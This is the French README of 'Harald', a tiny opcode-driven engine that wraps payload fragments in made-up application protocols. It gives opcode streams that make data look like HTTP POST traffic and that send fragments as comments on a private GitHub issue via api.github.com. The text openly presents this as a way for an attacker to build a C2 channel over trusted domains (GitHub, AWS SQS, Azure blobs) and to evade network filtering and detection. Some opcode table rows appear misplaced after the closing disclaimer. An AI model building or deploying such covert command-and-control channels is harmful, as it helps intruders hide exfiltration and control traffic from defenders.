
Un CPU minimal en mémoire pour la création de protocoles à la volée et agnostiques
Harald est un minuscule CPU de haut niveau en mémoire, capable de traiter un ensemble d'instructions pour générer des protocoles de couche applicative à utiliser sur un protocole réseau donné (TCP/UDP).
Harald consomme un flux d'OPCODES et applique différentes transformations à la charge utile pour qu'elle soit adaptée au protocole de couche applicative défini.
[!TIP] Pourquoi Harald ? Vous connaissez peut-être Harald Gormsson, roi du Danemark, pour son surnom : Blátǫnn, ou comme on le prononce aujourd'hui, Bluetooth. La technologie a été nommée d'après le surnom de Harald car il connectait les royaumes danois et viking à l'époque. J'ai donc nommé ceci d'après son prénom.
Harald se comporte comme un CPU. Il suit un ensemble d'OPCODES qui définissent des actions. Un PROTOCOLE. Harald exécute les opérations requises pour créer le protocole requis à la volée.
Une fois le PROTOCOLE fourni, Harald itère sur la PAYLOAD à envoyer en parcourant l'intégralité du PROTOCOLE une fois pour chaque fragment. C'est-à-dire : si la payload devait être découpée en plusieurs fragments, Harald utilisera le même protocole pour chaque fragment, en exécutant chaque action définie dans le protocole contre le fragment de payload courant.
Harald maintient un certain nombre de registres à utiliser par le protocole pour stocker des valeurs. Ces registres peuvent être utilisés pour effectuer de multiples opérations, telles que l'addition, la soustraction, l'encodage et le décodage... etc.
Harald alloue dynamiquement un tableau de résultats où le protocole peut stocker les réponses à chaque requête effectuée lors de l'envoi d'un fragment de payload.

Harald prend en charge une variété d'Opcodes à fournir en tant que protocole. Harald effectue un ensemble d'opérations de haut niveau à la réception d'un Opcode donné. Chaque Opcode attend un ensemble prédéfini d'arguments avec une longueur prédéfinie.
| OPCODE::Nº | Description | ARGS::Size |
|---|---|---|
| H_F_APPEND::0x01 | Ajoute les N octets suivants à la fin de la payload | Size::4, NBytes::N |
| H_F_PREPEND::0x02 | Ajoute les N octets suivants au début de la payload | Size::4, NBytes::N |
| H_F_SPLIT::0x03 | Découpe la Payload en fragments de la taille donnée | Size::4 |
| H_F_PAYLOAD_INJECT::0x04 | Injecte le fragment de Payload dans la End Payload | - |
| H_F_SOCK_INIT::0x05 | Initialise la connexion socket | IsIPAddress:1, SSL_Enabled::1, TCP/UDP::1, [(HostLen::4,HostName:N)/IPAddress::4], Port::2 |
| H_F_SEND::0x06 | Envoie la End Payload construite | - |
| H_F_RECV::0x07 | Reçoit jusqu'à N octets | Size::4 |
| H_F_CLOSE::0x08 | Ferme le socket et nettoie | - |
| H_F_INJECT::0x09 | Injecte le registre demandé dans la End Payload | Reg::1 |
| H_F_ENCODE_STR::0x0A | Encode un champ de Payload en sa représentation chaîne | IsReg::1, [(Payload::1, Field::1)/Reg::1], Format::1 |
| H_F_DECODE_STR::0xA0 | Décode le contenu d'un registre en sa représentation numérique | Reg::1 |
| H_F_ENCODE_STRB64::0x0B | Encode un champ de Payload en sa représentation chaîne B64 | Payload::1, Field::1 |
| H_F_COMPUTE_FRAG_LENGTH::0x0D | Calcule la longueur du prochain fragment à envoyer | - |
| H_F_SEARCH::0x0E | Recherche un motif d'octets donné de taille N donnée dans un registre donné | Reg::1, Size::4, NBytes::N |
| H_F_SEEK::0x0F | Déplace le curseur dans une payload donnée d'un nombre d'octets donné | Payload::1, Offset::4 |
| H_F_PUSH::0x10 | Pousse un nombre d'octets ou le contenu d'un registre dans un autre registre | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_ADD::0x12 | Additionne deux registres ou un nombre à un registre | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
Le flux d'Opcodes suivant générera les données requises à envoyer pour qu'une communication soit comprise comme du HTTP. Il initiera, modifiera la payload pour qu'elle ressemble à du trafic HTTP, l'enverra sur une connexion SSL/TLS, et fermera la connexion à la fin.
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF, // Splits the Payload
H_F_APPEND, 0x00, 0x00, 0x00, 0x46, // Appends...
'P', 'O', 'S', 'T', ' ', '/', ' ', // POST /
'H', 'T', 'T', 'P', '/', '1', '.', '1', '\r', '\n', // HTTP/1.1
'H', 'o', 's', 't', ':', ' ', // Host:
'd', 'o', 'm', 'a', 'i', 'n', '.', 'c', 'o', 'm', '\r', '\n', // domain.com
'C', 'o', 'n', 'n', 'e', 'c', 't', 'i', 'o', 'n', ':', ' ', // Connection:
'c', 'l', 'o', 's', 'e', '\r', '\n', // close
'C', 'o', 'n', 't', 'e', 'n', 't', '-', // Content-
'L', 'e', 'n', 'g', 't', 'h', ':', ' ', // Length:
H_F_COMPUTE_FRAG_LENGTH, // Next Fragment's size
H_F_ENCODE_STR, H_PAY_END_PAYLOAD, H_PAY_FRAGMENT_SIZE, 'u', // FragSize encode
H_F_INJECT, H_REG_RET, // Inject the Fragment Size encoded str
H_F_APPEND, 0x00, 0x00, 0x00, 0x04, '\r', '\n', '\r', '\n', // Append Body begin
H_F_PAYLOAD_INJECT, // Inject the Payload
H_F_SOCK_INIT, 0x01, 0x01, 0x7F, 0x00, 0x00, 0x01, 0x04, 0xD2, // Init Socket
H_F_SEND, // Send the Payload over the socket
H_F_CLOSE // Close the socket and cleanup
L'exemple suivant suit les mêmes procédures que le précédent. Cependant, au lieu d'envoyer simplement la payload comme corps, le Protocole demandera à Harald de configurer certains en-têtes et de structurer le corps pour qu'il puisse communiquer avec l'API GitHub afin de publier des commentaires dans l'issue d'un dépôt privé.
Ce type de communication peut aider un attaquant à créer un canal de communication avec le serveur C2 en utilisant un domaine de confiance, comme *.github.com. Ce même exemple pourrait être extrapolé pour utiliser des ressources AWS (comme des files SQS sous sqs..amazonaws.com), des ressources Azure (comme des blobs sous <storage_account_name>.blob.core.windows.net) et ainsi de suite.
Cet exemple est une bonne référence pour les communications qui nécessitent un STRUCTURED_FORMAT (JSON) + APPLICATION-LAYER_PROTOL (HTTPS) + PROTOCOL (TCP).
H_F_SPLIT, 0x00, 0x00, 0x00, 0xFF,
H_F_APPEND, 0x00, 0x00, 0x01, 0x85, 'P','O','S','T',' ',
'/','r','e','p','o','s','/','YOUR_GH_USER','/','YOUR_GH_REPO',
'/','i','s','s','u','e','s','/','ISSUE_NUMBER',
'/','c','o','m','m','e','n','t','s',' ',
'H','T','T','P','/','1','.','1','\r','\n', 'H','o','s','t',':','
','a','p','i','.','g','i','t','h','u','b','.','c','o','m','\r','\n',
'A','u','t','h','o','r','i','z','a','t','i','o','n',':',' '
,'B','e','a','r','e','r',' ','g','i','t','h','u','b','_','p','a','t','_',
'YOUR_GH_PAT','\r','\n',
'X','-','G','i','t','H','u','b','-',
'A','p','i','-','V','e','r','s','i','o','n',':','
', '2','0','2','2','-','1','1','-','2','8','\r','\n',
'U','s','e','r','-','A','g','e','n','t',':','
','H','a','r','a','l','d','/','0','.','1','b','\r','\n',
'A','c','c','e','p','t',':','
','a','p','p','l','i','c','a','t','i','o','n','/',
'v','n','d','.','g','i','t','h','u','b','+','j','s','o','n','\r','\n',
'C','o','n','t','e','n','t','-','T','y','p','e',':',' ',
'a','p','p','l','i','c','a','t','i','o','n','/',
'x','-','w','w','w','-','f','o','r','m','-',
'u','r','l','e','n','c','o','d','e','d','\r','\n',
'C','o','n','n','e','c','t','i','o','n',':','
','c','l','o','s','e','\r','\n',
'C','o','n','t','e','n','t','-','L','e','n','g','t','h',':',' ',
H_F_COMPUTE_FRAG_LENGTH,
H_F_ADD, 0x00, 0x00, 0x00, 0x00, 0x01, 0x0B, H_REG_RET,
H_F_ENCODE_STR, 0x01, H_REG_RET, 'u',
H_F_INJECT, H_REG_RET,
H_F_APPEND, 0x00, 0x00, 0x00, 0x0D, '\r', '\n', '\r', '\n', '{', '"', 'b',
'o', 'd', 'y', '"', ':', '"',
H_F_PAYLOAD_INJECT,
H_F_APPEND, 0x00, 0x00, 0x00, 0x02, '"', '}',
H_F_SOCK_INIT, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x0F,
'a', 'p', 'i', '.',
'g', 'i', 't', 'h', 'u', 'b', '.', 'c', 'o', 'm', '\0', 0x01, 0xBB,
H_F_SEND,
H_F_CLOSE
Vous aurez besoin d'un compilateur pour le construire. Tel que GCC, Clang, ou le CL de Microsoft. De plus, il y a quelques dépendances de bibliothèques :
Installez LibSSL et pkg-config :
sudo apt install libssl-dev pkg-config
Installez OpenSSL via brew ou construisez-le et configurez-le vous-même.
brew install openssl
Obtenez OpenSSL auprès de l'un de leurs distributeurs liés ou construisez-le et configurez-le vous-même.
Le dépôt contient un Makefile pour construire la bibliothèque et quelques binaires de test.
Pour construire la bibliothèque Harald, exécutez :
make lib
Cela créera une bibliothèque partagée libharald.so, libharald.dll, ou
libharald.dylib selon votre plateforme.
Pour construire les binaires de test, exécutez :
make test
Cela créera deux binaires : test_harald et test_harald_gh (avec leurs
extensions respectives, selon votre plateforme).
Pour tester les fonctionnalités de Harald, exécutez les serveurs provisionnés socket_server_test.py et https_server_test.py. Ceux-ci créeront respectivement un socket et un serveur HTTPS à utiliser par les binaires de test.
Note : Vous devrez peut-être définir votre
LD_LIBRARY_PATHsur le dossier courant :LD_LIBRARY_PATH=$LD_LIBRARY_PATH:. ./test_harald
Vous devrez créer un certificat SSL/TLS pour la communication HTTPS (auto-signé est acceptable). Vous pouvez en créer un en utilisant OpenSSL avec la commande suivante :
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365
Une fois les serveurs démarrés et en cours d'exécution, exécutez le binaire test_harald :
./test_harald
Le binaire devrait se connecter aux serveurs provisionnés et envoyer les payloads de données prédéfinies comme spécifié dans le protocole.
Pour tester les fonctionnalités de l'API GitHub, quelques préparatifs doivent être effectués
avant d'exécuter le binaire test_harald_gh.
Créez un dépôt et une issue.
Le fichier test_harald_gh.c contient un exemple simple de la façon
d'utiliser Harald pour interagir avec l'API GitHub afin de créer des commentaires dans des issues. Il
nécessite que vous ayez un jeton d'accès pour GitHub, qui peut être obtenu depuis les
paramètres de votre compte GitHub sous Developer settings -> Personal access tokens ->
Fine-grained tokens. Il est recommandé de restreindre le jeton pour n'obtenir
l'accès qu'au dépôt nouvellement créé et aux permissions Read access to metadata et
Read and Write access to issues and pull requests.
Pour fonctionner correctement, vous devrez modifier les valeurs de remplacement pour :
YOUR_GH_USER : Votre nom d'utilisateur GitHub.ISSUE_NUMBER : Le numéro d'issue sur le dépôt avec lequel vous voulez interagir
(par exemple, "1" pour la première issue d'un dépôt).YOUR_GH_REPO : Le nom du dépôt avec lequel vous voulez interagir
(par exemple, "harald").YOUR_GH_PAT : Votre jeton d'accès GitHub.Une fois fait, assurez-vous de mettre à jour la taille de la payload envoyée pour correspondre à vos besoins !
À test_harald_gh.c#L9, le 4ème paramètre de l'opcode
H_F_APPEND représente la taille de la payload. Vous devrez mettre à jour
cette valeur en conséquence lorsque vous modifiez la structure de la payload.
Construisez les binaires de test et exécutez celui-ci :
./test_harald_gh
Cela créera un commentaire dans l'issue fournie.
Le code source contenu dans ce dépôt peut être utilisé pour contourner le filtrage réseau et réduire le risque de détection par les appliances de sécurité. Avant d'utiliser ce code source, veuillez vous assurer que votre utilisation est conforme à toutes les lois applicables dans votre juridiction.
| H_F_SUBSTRACT::0x13 | Soustrait deux registres ou un nombre à un registre | IsReg::1, [Size::4, NBytes::N]/SrcReg::1, DstReg::2 |
| H_F_READ::0x14 | Lit depuis un registre donné jusqu'à la longueur stockée dans un autre registre | FromReg::1, SizeReg::1 |
| H_F_STORE::0x15 | Stocke une valeur de registre dans le Storage de Harald | Reg::1 |